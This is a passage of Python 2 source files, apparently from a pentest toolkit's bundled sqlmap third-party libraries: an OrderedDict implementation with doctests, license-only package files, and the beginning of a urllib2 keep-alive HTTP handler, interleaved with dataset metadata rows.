>>> b[2:5] OrderedDict([(5, 2), (4, 3), (3, 4)]) >>> type(b[2:4]) <class '__main__.OrderedDict'> """ if isinstance(key, types.SliceType): # FIXME: does this raise the error we want? keys = self._sequence[key] # FIXME: efficiency? return OrderedDict([(entry, self[entry]) for entry in keys]) else: return dict.__getitem__(self, key) __str__ = __repr__ def __setattr__(self, name, value): """ Implemented so that accesses to ``sequence`` raise a warning and are diverted to the new ``setkeys`` method. """ if name == 'sequence': warnings.warn('Use of the sequence attribute is deprecated.' ' Use the keys method instead.', DeprecationWarning) # NOTE: doesn't return anything self.setkeys(value) else: # FIXME: do we want to allow arbitrary setting of attributes? # Or do we want to manage it? object.__setattr__(self, name, value) def __getattr__(self, name): """ Implemented so that access to ``sequence`` raises a warning. >>> d = OrderedDict() >>> d.sequence [] """ if name == 'sequence': warnings.warn('Use of the sequence attribute is deprecated.' ' Use the keys method instead.', DeprecationWarning) # NOTE: Still (currently) returns a direct reference. Need to # because code that uses sequence will expect to be able to # mutate it in place. return self._sequence else: # raise the appropriate error raise AttributeError("OrderedDict has no '%s' attribute" % name) def __deepcopy__(self, memo): """ To allow deepcopy to work with OrderedDict. >>> from copy import deepcopy >>> a = OrderedDict([(1, 1), (2, 2), (3, 3)]) >>> a['test'] = {} >>> b = deepcopy(a) >>> b == a True >>> b is a False >>> a['test'] is b['test'] False """ from copy import deepcopy return self.__class__(deepcopy(self.items(), memo), self.strict) ### Read-only methods ### def copy(self): """ >>> OrderedDict(((1, 3), (3, 2), (2, 1))).copy() OrderedDict([(1, 3), (3, 2), (2, 1)]) """ return OrderedDict(self) def items(self): """ ``items`` returns a list of tuples representing all the ``(key, value)`` pairs in the dictionary. >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.items() [(1, 3), (3, 2), (2, 1)] >>> d.clear() >>> d.items() [] """ return zip(self._sequence, self.values()) def keys(self): """ Return a list of keys in the ``OrderedDict``. >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.keys() [1, 3, 2] """ return self._sequence[:] def values(self, values=None): """ Return a list of all the values in the OrderedDict. Optionally you can pass in a list of values, which will replace the current list. The value list must be the same len as the OrderedDict. >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.values() [3, 2, 1] """ return [self[key] for key in self._sequence] def iteritems(self): """ >>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iteritems() >>> ii.next() (1, 3) >>> ii.next() (3, 2) >>> ii.next() (2, 1) >>> ii.next() Traceback (most recent call last): StopIteration """ def make_iter(self=self): keys = self.iterkeys() while True: key = keys.next() yield (key, self[key]) return make_iter() def iterkeys(self): """ >>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iterkeys() >>> ii.next() 1 >>> ii.next() 3 >>> ii.next() 2 >>> ii.next() Traceback (most recent call last): StopIteration """ return iter(self._sequence) __iter__ = iterkeys def itervalues(self): """ >>> iv = OrderedDict(((1, 3), (3, 2), (2, 1))).itervalues() >>> iv.next() 3 >>> iv.next() 2 >>> iv.next() 1 >>> iv.next() Traceback (most recent call last): StopIteration """ def make_iter(self=self): keys = self.iterkeys() while True: yield self[keys.next()] return make_iter() ### Read-write methods ### def clear(self): """ >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.clear() >>> d OrderedDict([]) """ dict.clear(self) self._sequence = [] def pop(self, key, *args): """ No dict.pop in Python 2.2, gotta reimplement it >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.pop(3) 2 >>> d OrderedDict([(1, 3), (2, 1)]) >>> d.pop(4) Traceback (most recent call last): KeyError: 4 >>> d.pop(4, 0) 0 >>> d.pop(4, 0, 1) Traceback (most recent call last): TypeError: pop expected at most 2 arguments, got 3 """ if len(args) > 1: raise TypeError, ('pop expected at most 2 arguments, got %s' % (len(args) + 1)) if key in self: val = self[key] del self[key] else: try: val = args[0] except IndexError: raise KeyError(key) return val def popitem(self, i=-1): """ Delete and return an item specified by index, not a random one as in dict. The index is -1 by default (the last item). >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.popitem() (2, 1) >>> d OrderedDict([(1, 3), (3, 2)]) >>> d.popitem(0) (1, 3) >>> OrderedDict().popitem() Traceback (most recent call last): KeyError: 'popitem(): dictionary is empty' >>> d.popitem(2) Traceback (most recent call last): IndexError: popitem(): index 2 not valid """ if not self._sequence: raise KeyError('popitem(): dictionary is empty') try: key = self._sequence[i] except IndexError: raise IndexError('popitem(): index %s not valid' % i) return (key, self.pop(key)) def setdefault(self, key, defval = None): """ >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.setdefault(1) 3 >>> d.setdefault(4) is None True >>> d OrderedDict([(1, 3), (3, 2), (2, 1), (4, None)]) >>> d.setdefault(5, 0) 0 >>> d OrderedDict([(1, 3), (3, 2), (2, 1), (4, None), (5, 0)]) """ if key in self: return self[key] else: self[key] = defval return defval def update(self, from_od): """ Update from another OrderedDict or sequence of (key, value) pairs >>> d = OrderedDict(((1, 0), (0, 1))) >>> d.update(OrderedDict(((1, 3), (3, 2), (2, 1)))) >>> d OrderedDict([(1, 3), (0, 1), (3, 2), (2, 1)]) >>> d.update({4: 4}) Traceback (most recent call last): TypeError: undefined order, cannot get items from dict >>> d.update((4, 4)) Traceback (most recent call last): TypeError: cannot convert dictionary update sequence element "4" to a 2-item sequence """ if isinstance(from_od, OrderedDict): for key, val in from_od.items(): self[key] = val elif isinstance(from_od, dict): # we lose compatibility with other ordered dict types this way raise TypeError('undefined order, cannot get items from dict') else: # FIXME: efficiency? # sequence of 2-item sequences, or error for item in from_od: try: key, val = item except TypeError: raise TypeError('cannot convert dictionary update' ' sequence element "%s" to a 2-item sequence' % item) self[key] = val def rename(self, old_key, new_key): """ Rename the key for a given value, without modifying sequence order. For the case where new_key already exists this raise an exception, since if new_key exists, it is ambiguous as to what happens to the associated values, and the position of new_key in the sequence. >>> od = OrderedDict() >>> od['a'] = 1 >>> od['b'] = 2 >>> od.items() [('a', 1), ('b', 2)] >>> od.rename('b', 'c') >>> od.items() [('a', 1), ('c', 2)] >>> od.rename('c', 'a') Traceback (most recent call last): ValueError: New key already exists: 'a' >>> od.rename('d', 'b') Traceback (most recent call last): KeyError: 'd' """ if new_key == old_key: # no-op return if new_key in self: raise ValueError("New key already exists: %r" % new_key) # rename sequence entry value = self[old_key] old_idx = self._sequence.index(old_key) self._sequence[old_idx] = new_key # rename internal dict entry dict.__delitem__(self, old_key) dict.__setitem__(self, new_key, value) def setitems(self, items): """ This method allows you to set the items in the dict. It takes a list of tuples - of the same sort returned by the ``items`` method. >>> d = OrderedDict() >>> d.setitems(((3, 1), (2, 3), (1, 2))) >>> d OrderedDict([(3, 1), (2, 3), (1, 2)]) """ self.clear() # FIXME: this allows you to pass in an OrderedDict as well :-) self.update(items) def setkeys(self, keys): """ ``setkeys`` all ows you to pass in a new list of keys which will replace the current set. This must contain the same set of keys, but need not be in the same order. If you pass in new keys that don't match, a ``KeyError`` will be raised. >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.keys() [1, 3, 2] >>> d.setkeys((1, 2, 3)) >>> d OrderedDict([(1, 3), (2, 1), (3, 2)]) >>> d.setkeys(['a', 'b', 'c']) Traceback (most recent call last): KeyError: 'Keylist is not the same as current keylist.' """ # FIXME: Efficiency? (use set for Python 2.4 :-) # NOTE: list(keys) rather than keys[:] because keys[:] returns # a tuple, if keys is a tuple. kcopy = list(keys) kcopy.sort() self._sequence.sort() if kcopy != self._sequence: raise KeyError('Keylist is not the same as current keylist.') # NOTE: This makes the _sequence attribute a new object, instead # of changing it in place. # FIXME: efficiency? self._sequence = list(keys) def setvalues(self, values): """ You can pass in a list of values, which will replace the current list. The value list must be the same len as the OrderedDict. (Or a ``ValueError`` is raised.) >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.setvalues((1, 2, 3)) >>> d OrderedDict([(1, 1), (3, 2), (2, 3)]) >>> d.setvalues([6]) Traceback (most recent call last): ValueError: Value list is not the same length as the OrderedDict. """ if len(values) != len(self): # FIXME: correct error to raise? raise ValueError('Value list is not the same length as the ' 'OrderedDict.') self.update(zip(self, values)) ### Sequence Methods ### def index(self, key): """ Return the position of the specified key in the OrderedDict. >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.index(3) 1 >>> d.index(4) Traceback (most recent call last): ValueError: list.index(x): x not in list """ return self._sequence.index(key) def insert(self, index, key, value): """ Takes ``index``, ``key``, and ``value`` as arguments. Sets ``key`` to ``value``, so that ``key`` is at position ``index`` in the OrderedDict. >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.insert(0, 4, 0) >>> d OrderedDict([(4, 0), (1, 3), (3, 2), (2, 1)]) >>> d.insert(0, 2, 1) >>> d OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2)]) >>> d.insert(8, 8, 1) >>> d OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2), (8, 1)]) """ if key in self: # FIXME: efficiency? del self[key] self._sequence.insert(index, key) dict.__setitem__(self, key, value) def reverse(self): """ Reverse the order of the OrderedDict. >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.reverse() >>> d OrderedDict([(2, 1), (3, 2), (1, 3)]) """ self._sequence.reverse() def sort(self, *args, **kwargs): """ Sort the key order in the OrderedDict. This method takes the same arguments as the ``list.sort`` method on your version of Python. >>> d = OrderedDict(((4, 1), (2, 2), (3, 3), (1, 4))) >>> d.sort() >>> d OrderedDict([(1, 4), (2, 2), (3, 3), (4, 1)]) """ self._sequence.sort(*args, **kwargs) if INTP_VER >= (2, 7): from collections import OrderedDict else: OrderedDict = _OrderedDict class Keys(object): # FIXME: should this object be a subclass of list? """ Custom object for accessing the keys of an OrderedDict. Can be called like the normal ``OrderedDict.keys`` method, but also supports indexing and sequence methods. """ def __init__(self, main): self._main = main def __call__(self): """Pretend to be the keys method.""" return self._main._keys() def __getitem__(self, index): """Fetch the key at position i.""" # NOTE: this automatically supports slicing :-) return self._main._sequence[index] def __setitem__(self, index, name): """ You cannot assign to keys, but you can do slice assignment to re-order them. You can only do slice assignment if the new set of keys is a reordering of the original set. """ if isinstance(index, types.SliceType): # FIXME: efficiency? # check length is the same indexes = range(len(self._main._sequence))[index] if len(indexes) != len(name): raise ValueError('attempt to assign sequence of size %s ' 'to slice of size %s' % (len(name), len(indexes))) # check they are the same keys # FIXME: Use set old_keys = self._main._sequence[index] new_keys = list(name) old_keys.sort() new_keys.sort() if old_keys != new_keys: raise KeyError('Keylist is not the same as current keylist.') orig_vals = [self._main[k] for k in name] del self._main[index] vals = zip(indexes, name, orig_vals) vals.sort() for i, k, v in vals: if self._main.strict and k in self._main: raise ValueError('slice assignment must be from ' 'unique keys') self._main.insert(i, k, v) else: raise ValueError('Cannot assign to keys') ### following methods pinched from UserList and adapted ### def __repr__(self): return repr(self._main._sequence) # FIXME: do we need to check if we are comparing with another ``Keys`` # object? (like the __cast method of UserList) def __lt__(self, other): return self._main._sequence < other def __le__(self, other): return self._main._sequence <= other def __eq__(self, other): return self._main._sequence == other def __ne__(self, other): return self._main._sequence != other def __gt__(self, other): return self._main._sequence > other def __ge__(self, other): return self._main._sequence >= other # FIXME: do we need __cmp__ as well as rich comparisons? def __cmp__(self, other): return cmp(self._main._sequence, other) def __contains__(self, item): return item in self._main._sequence def __len__(self): return len(self._main._sequence) def __iter__(self): return self._main.iterkeys() def count(self, item): return self._main._sequence.count(item) def index(self, item, *args): return self._main._sequence.index(item, *args) def reverse(self): self._main._sequence.reverse() def sort(self, *args, **kwds): self._main._sequence.sort(*args, **kwds) def __mul__(self, n): return self._main._sequence*n __rmul__ = __mul__ def __add__(self, other): return self._main._sequence + other def __radd__(self, other): return other + self._main._sequence ## following methods not implemented for keys ## def __delitem__(self, i): raise TypeError('Can\'t delete items from keys') def __iadd__(self, other): raise TypeError('Can\'t add in place to keys') def __imul__(self, n): raise TypeError('Can\'t multiply keys in place') def append(self, item): raise TypeError('Can\'t append items to keys') def insert(self, i, item): raise TypeError('Can\'t insert items into keys') def pop(self, i=-1): raise TypeError('Can\'t pop items from keys') def remove(self, item): raise TypeError('Can\'t remove items from keys') def extend(self, other): raise TypeError('Can\'t extend keys') class Items(object): """ Custom object for accessing the items of an OrderedDict. Can be called like the normal ``OrderedDict.items`` method, but also supports indexing and sequence methods. """ def __init__(self, main): self._main = main def __call__(self): """Pretend to be the items method.""" return self._main._items() def __getitem__(self, index): """Fetch the item at position i.""" if isinstance(index, types.SliceType): # fetching a slice returns an OrderedDict return self._main[index].items() key = self._main._sequence[index] return (key, self._main[key]) def __setitem__(self, index, item): """Set item at position i to item.""" if isinstance(index, types.SliceType): # NOTE: item must be an iterable (list of tuples) self._main[index] = OrderedDict(item) else: # FIXME: Does this raise a sensible error? orig = self._main.keys[index] key, value = item if self._main.strict and key in self and (key != orig): raise ValueError('slice assignment must be from ' 'unique keys') # delete the current one del self._main[self._main._sequence[index]] self._main.insert(index, key, value) def __delitem__(self, i): """Delete the item at position i.""" key = self._main._sequence[i] if isinstance(i, types.SliceType): for k in key: # FIXME: efficiency? del self._main[k] else: del self._main[key] ### following methods pinched from UserList and adapted ### def __repr__(self): return repr(self._main.items()) # FIXME: do we need to check if we are comparing with another ``Items`` # object? (like the __cast method of UserList) def __lt__(self, other): return self._main.items() < other def __le__(self, other): return self._main.items() <= other def __eq__(self, other): return self._main.items() == other def __ne__(self, other): return self._main.items() != other def __gt__(self, other): return self._main.items() > other def __ge__(self, other): return self._main.items() >= other def __cmp__(self, other): return cmp(self._main.items(), other) def __contains__(self, item): return item in self._main.items() def __len__(self): return len(self._main._sequence) # easier :-) def __iter__(self): return self._main.iteritems() def count(self, item): return self._main.items().count(item) def index(self, item, *args): return self._main.items().index(item, *args) def reverse(self): self._main.reverse() def sort(self, *args, **kwds): self._main.sort(*args, **kwds) def __mul__(self, n): return self._main.items()*n __rmul__ = __mul__ def __add__(self, other): return self._main.items() + other def __radd__(self, other): return other + self._main.items() def append(self, item): """Add an item to the end.""" # FIXME: this is only append if the key isn't already present key, value = item self._main[key] = value def insert(self, i, item): key, value = item self._main.insert(i, key, value) def pop(self, i=-1): key = self._main._sequence[i] return (key, self._main.pop(key)) def remove(self, item): key, value = item try: assert value == self._main[key] except (KeyError, AssertionError): raise ValueError('ValueError: list.remove(x): x not in list') else: del self._main[key] def extend(self, other): # FIXME: is only a true extend if none of the keys already present for item in other: key, value = item self._main[key] = value def __iadd__(self, other): self.extend(other) ## following methods not implemented for items ## def __imul__(self, n): raise TypeError('Can\'t multiply items in place') class Values(object): """ Custom object for accessing the values of an OrderedDict. Can be called like the normal ``OrderedDict.values`` method, but also supports indexing and sequence methods. """ def __init__(self, main): self._main = main def __call__(self): """Pretend to be the values method.""" return self._main._values() def __getitem__(self, index): """Fetch the value at position i.""" if isinstance(index, types.SliceType): return [self._main[key] for key in self._main._sequence[index]] else: return self._main[self._main._sequence[index]] def __setitem__(self, index, value): """ Set the value at position i to value. You can only do slice assignment to values if you supply a sequence of equal length to the slice you are replacing. """ if isinstance(index, types.SliceType): keys = self._main._sequence[index] if len(keys) != len(value): raise ValueError('attempt to assign sequence of size %s ' 'to slice of size %s' % (len(name), len(keys))) # FIXME: efficiency? Would be better to calculate the indexes # directly from the slice object # NOTE: the new keys can collide with existing keys (or even # contain duplicates) - these will overwrite for key, val in zip(keys, value): self._main[key] = val else: self._main[self._main._sequence[index]] = value ### following methods pinched from UserList and adapted ### def __repr__(self): return repr(self._main.values()) # FIXME: do we need to check if we are comparing with another ``Values`` # object? (like the __cast method of UserList) def __lt__(self, other): return self._main.values() < other def __le__(self, other): return self._main.values() <= other def __eq__(self, other): return self._main.values() == other def __ne__(self, other): return self._main.values() != other def __gt__(self, other): return self._main.values() > other def __ge__(self, other): return self._main.values() >= other def __cmp__(self, other): return cmp(self._main.values(), other) def __contains__(self, item): return item in self._main.values() def __len__(self): return len(self._main._sequence) # easier :-) def __iter__(self): return self._main.itervalues() def count(self, item): return self._main.values().count(item) def index(self, item, *args): return self._main.values().index(item, *args) def reverse(self): """Reverse the values""" vals = self._main.values() vals.reverse() # FIXME: efficiency self[:] = vals def sort(self, *args, **kwds): """Sort the values.""" vals = self._main.values() vals.sort(*args, **kwds) self[:] = vals def __mul__(self, n): return self._main.values()*n __rmul__ = __mul__ def __add__(self, other): return self._main.values() + other def __radd__(self, other): return other + self._main.values() ## following methods not implemented for values ## def __delitem__(self, i): raise TypeError('Can\'t delete items from values') def __iadd__(self, other): raise TypeError('Can\'t add in place to values') def __imul__(self, n): raise TypeError('Can\'t multiply values in place') def append(self, item): raise TypeError('Can\'t append items to values') def insert(self, i, item): raise TypeError('Can\'t insert items into values') def pop(self, i=-1): raise TypeError('Can\'t pop items from values') def remove(self, item): raise TypeError('Can\'t remove items from values') def extend(self, other): raise TypeError('Can\'t extend values') class SequenceOrderedDict(OrderedDict): """ Experimental version of OrderedDict that has a custom object for ``keys``, ``values``, and ``items``. These are callable sequence objects that work as methods, or can be manipulated directly as sequences. Test for ``keys``, ``items`` and ``values``. >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) >>> d SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) >>> d.keys [1, 2, 3] >>> d.keys() [1, 2, 3] >>> d.setkeys((3, 2, 1)) >>> d SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) >>> d.setkeys((1, 2, 3)) >>> d.keys[0] 1 >>> d.keys[:] [1, 2, 3] >>> d.keys[-1] 3 >>> d.keys[-2] 2 >>> d.keys[0:2] = [2, 1] >>> d SequenceOrderedDict([(2, 3), (1, 2), (3, 4)]) >>> d.keys.reverse() >>> d.keys [3, 1, 2] >>> d.keys = [1, 2, 3] >>> d SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) >>> d.keys = [3, 1, 2] >>> d SequenceOrderedDict([(3, 4), (1, 2), (2, 3)]) >>> a = SequenceOrderedDict() >>> b = SequenceOrderedDict() >>> a.keys == b.keys 1 >>> a['a'] = 3 >>> a.keys == b.keys 0 >>> b['a'] = 3 >>> a.keys == b.keys 1 >>> b['b'] = 3 >>> a.keys == b.keys 0 >>> a.keys > b.keys 0 >>> a.keys < b.keys 1 >>> 'a' in a.keys 1 >>> len(b.keys) 2 >>> 'c' in d.keys 0 >>> 1 in d.keys 1 >>> [v for v in d.keys] [3, 1, 2] >>> d.keys.sort() >>> d.keys [1, 2, 3] >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4)), strict=True) >>> d.keys[::-1] = [1, 2, 3] >>> d SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) >>> d.keys[:2] [3, 2] >>> d.keys[:2] = [1, 3] Traceback (most recent call last): KeyError: 'Keylist is not the same as current keylist.' >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) >>> d SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) >>> d.values [2, 3, 4] >>> d.values() [2, 3, 4] >>> d.setvalues((4, 3, 2)) >>> d SequenceOrderedDict([(1, 4), (2, 3), (3, 2)]) >>> d.values[::-1] [2, 3, 4] >>> d.values[0] 4 >>> d.values[-2] 3 >>> del d.values[0] Traceback (most recent call last): TypeError: Can't delete items from values >>> d.values[::2] = [2, 4] >>> d SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) >>> 7 in d.values 0 >>> len(d.values) 3 >>> [val for val in d.values] [2, 3, 4] >>> d.values[-1] = 2 >>> d.values.count(2) 2 >>> d.values.index(2) 0 >>> d.values[-1] = 7 >>> d.values [2, 3, 7] >>> d.values.reverse() >>> d.values [7, 3, 2] >>> d.values.sort() >>> d.values [2, 3, 7] >>> d.values.append('anything') Traceback (most recent call last): TypeError: Can't append items to values >>> d.values = (1, 2, 3) >>> d SequenceOrderedDict([(1, 1), (2, 2), (3, 3)]) >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) >>> d SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) >>> d.items() [(1, 2), (2, 3), (3, 4)] >>> d.setitems([(3, 4), (2 ,3), (1, 2)]) >>> d SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) >>> d.items[0] (3, 4) >>> d.items[:-1] [(3, 4), (2, 3)] >>> d.items[1] = (6, 3) >>> d.items [(3, 4), (6, 3), (1, 2)] >>> d.items[1:2] = [(9, 9)] >>> d SequenceOrderedDict([(3, 4), (9, 9), (1, 2)]) >>> del d.items[1:2] >>> d SequenceOrderedDict([(3, 4), (1, 2)]) >>> (3, 4) in d.items 1 >>> (4, 3) in d.items 0 >>> len(d.items) 2 >>> [v for v in d.items] [(3, 4), (1, 2)] >>> d.items.count((3, 4)) 1 >>> d.items.index((1, 2)) 1 >>> d.items.index((2, 1)) Traceback (most recent call last): ValueError: list.index(x): x not in list >>> d.items.reverse() >>> d.items [(1, 2), (3, 4)] >>> d.items.reverse() >>> d.items.sort() >>> d.items [(1, 2), (3, 4)] >>> d.items.append((5, 6)) >>> d.items [(1, 2), (3, 4), (5, 6)] >>> d.items.insert(0, (0, 0)) >>> d.items [(0, 0), (1, 2), (3, 4), (5, 6)] >>> d.items.insert(-1, (7, 8)) >>> d.items [(0, 0), (1, 2), (3, 4), (7, 8), (5, 6)] >>> d.items.pop() (5, 6) >>> d.items [(0, 0), (1, 2), (3, 4), (7, 8)] >>> d.items.remove((1, 2)) >>> d.items [(0, 0), (3, 4), (7, 8)] >>> d.items.extend([(1, 2), (5, 6)]) >>> d.items [(0, 0), (3, 4), (7, 8), (1, 2), (5, 6)] """ def __init__(self, init_val=(), strict=True): OrderedDict.__init__(self, init_val, strict=strict) self._keys = self.keys self._values = self.values self._items = self.items self.keys = Keys(self) self.values = Values(self) self.items = Items(self) self._att_dict = { 'keys': self.setkeys, 'items': self.setitems, 'values': self.setvalues, } def __setattr__(self, name, value): """Protect keys, items, and values.""" if not '_att_dict' in self.__dict__: object.__setattr__(self, name, value) else: try: fun = self._att_dict[name] except KeyError: OrderedDict.__setattr__(self, name, value) else: fun(value) if __name__ == '__main__': if INTP_VER < (2, 3): raise RuntimeError("Tests require Python v.2.3 or later") # turn off warnings for tests warnings.filterwarnings('ignore') # run the code tests in doctest format import doctest m = sys.modules.get('__main__') globs = m.__dict__.copy() globs.update({ 'INTP_VER': INTP_VER, }) doctest.testmod(m, globs=globs)
46,251
Python
.py
1,255
28.215936
93
0.513702
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,190
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/odict/__init__.py
#!/usr/bin/env python # # The BSD License # # Copyright 2003-2008 Nicola Larosa, Michael Foord # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # pass
1,160
Python
.py
25
45.36
79
0.792769
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,191
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/keepalive/__init__.py
#!/usr/bin/env python # # Copyright 2002-2003 Michael D. Stenner # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # pass
730
Python
.py
18
39.5
74
0.780591
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,192
keepalive.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/keepalive/keepalive.py
#!/usr/bin/env python # # Copyright 2002-2003 Michael D. Stenner # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # """An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive. import urllib2 from keepalive import HTTPHandler keepalive_handler = HTTPHandler() opener = urllib2.build_opener(keepalive_handler) urllib2.install_opener(opener) fo = urllib2.urlopen('http://www.python.org') To remove the handler, simply re-run build_opener with no arguments, and install that opener. You can explicitly close connections by using the close_connection() method of the returned file-like object (described below) or you can use the handler methods: close_connection(host) close_all() open_connections() Example: keepalive_handler.close_all() EXTRA ATTRIBUTES AND METHODS Upon a status of 200, the object returned has a few additional attributes and methods, which should not be used if you want to remain consistent with the normal urllib2-returned objects: close_connection() - close the connection to the host readlines() - you know, readlines() status - the return status (ie 404) reason - english translation of status (ie 'File not found') If you want the best of both worlds, use this inside an AttributeError-catching try: try: status = fo.status except AttributeError: status = None Unfortunately, these are ONLY there if status == 200, so it's not easy to distinguish between non-200 responses. The reason is that urllib2 tries to do clever things with error codes 301, 302, 401, and 407, and it wraps the object upon return. You can optionally set the module-level global HANDLE_ERRORS to 0, in which case the handler will always return the object directly. If you like the fancy handling of errors, don't do this. If you prefer to see your error codes, then do. """ from httplib import _CS_REQ_STARTED, _CS_REQ_SENT, _CS_IDLE, CannotSendHeader from lib.core.convert import unicodeencode from lib.core.data import kb import threading import urllib2 import httplib import socket VERSION = (0, 1) #STRING_VERSION = '.'.join(map(str, VERSION)) DEBUG = 0 HANDLE_ERRORS = 1 class HTTPHandler(urllib2.HTTPHandler): def __init__(self): self._connections = {} def close_connection(self, host): """close connection to <host> host is the host:port spec, as in 'www.cnn.com:8080' as passed in. no error occurs if there is no connection to that host.""" self._remove_connection(host, close=1) def open_connections(self): """return a list of connected hosts""" retVal = [] currentThread = threading.currentThread() for name, host in self._connections.keys(): if name == currentThread.getName(): retVal.append(host) return retVal def close_all(self): """close all open connections""" for _, conn in self._connections.items(): conn.close() self._connections = {} def _remove_connection(self, host, close=0): key = self._get_connection_key(host) if self._connections.has_key(key): if close: self._connections[key].close() del self._connections[key] def _get_connection_key(self, host): return (threading.currentThread().getName(), host) def _start_connection(self, h, req): h.clearheaders() try: if req.has_data(): data = req.get_data() h.putrequest('POST', req.get_selector()) if not req.headers.has_key('Content-type'): req.headers['Content-type'] = 'application/x-www-form-urlencoded' if not req.headers.has_key('Content-length'): req.headers['Content-length'] = '%d' % len(data) else: h.putrequest(req.get_method() or 'GET', req.get_selector()) if not req.headers.has_key('Connection'): req.headers['Connection'] = 'keep-alive' for args in self.parent.addheaders: h.putheader(*args) for k, v in req.headers.items(): h.putheader(k, v) h.endheaders() if req.has_data(): h.send(data) except socket.error, err: h.close() raise urllib2.URLError(err) def do_open(self, http_class, req): h = None host = req.get_host() if not host: raise urllib2.URLError('no host given') try: need_new_connection = 1 key = self._get_connection_key(host) h = self._connections.get(key) if not h is None: try: self._start_connection(h, req) except: r = None else: try: r = h.getresponse() except httplib.ResponseNotReady, e: r = None except httplib.BadStatusLine, e: r = None if r is None or r.version == 9: # httplib falls back to assuming HTTP 0.9 if it gets a # bad header back. This is most likely to happen if # the socket has been closed by the server since we # last used the connection. if DEBUG: print "failed to re-use connection to %s" % host h.close() else: if DEBUG: print "re-using connection to %s" % host need_new_connection = 0 if need_new_connection: if DEBUG: print "creating new connection to %s" % host h = http_class(host) self._connections[key] = h self._start_connection(h, req) r = h.getresponse() except socket.error, err: if h: h.close() raise urllib2.URLError(err) # if not a persistent connection, don't try to reuse it if r.will_close: self._remove_connection(host) if DEBUG: print "STATUS: %s, %s" % (r.status, r.reason) r._handler = self r._host = host r._url = req.get_full_url() #if r.status == 200 or not HANDLE_ERRORS: #return r if r.status == 200 or not HANDLE_ERRORS: # [speedplane] Must return an adinfourl object resp = urllib2.addinfourl(r, r.msg, req.get_full_url()) resp.code = r.status resp.msg = r.reason return resp; else: r.code = r.status return self.parent.error('http', req, r, r.status, r.reason, r.msg) def http_open(self, req): return self.do_open(HTTPConnection, req) class HTTPResponse(httplib.HTTPResponse): # we need to subclass HTTPResponse in order to # 1) add readline() and readlines() methods # 2) add close_connection() methods # 3) add info() and geturl() methods # in order to add readline(), read must be modified to deal with a # buffer. example: readline must read a buffer and then spit back # one line at a time. The only real alternative is to read one # BYTE at a time (ick). Once something has been read, it can't be # put back (ok, maybe it can, but that's even uglier than this), # so if you THEN do a normal read, you must first take stuff from # the buffer. # the read method wraps the original to accomodate buffering, # although read() never adds to the buffer. # Both readline and readlines have been stolen with almost no # modification from socket.py def __init__(self, sock, 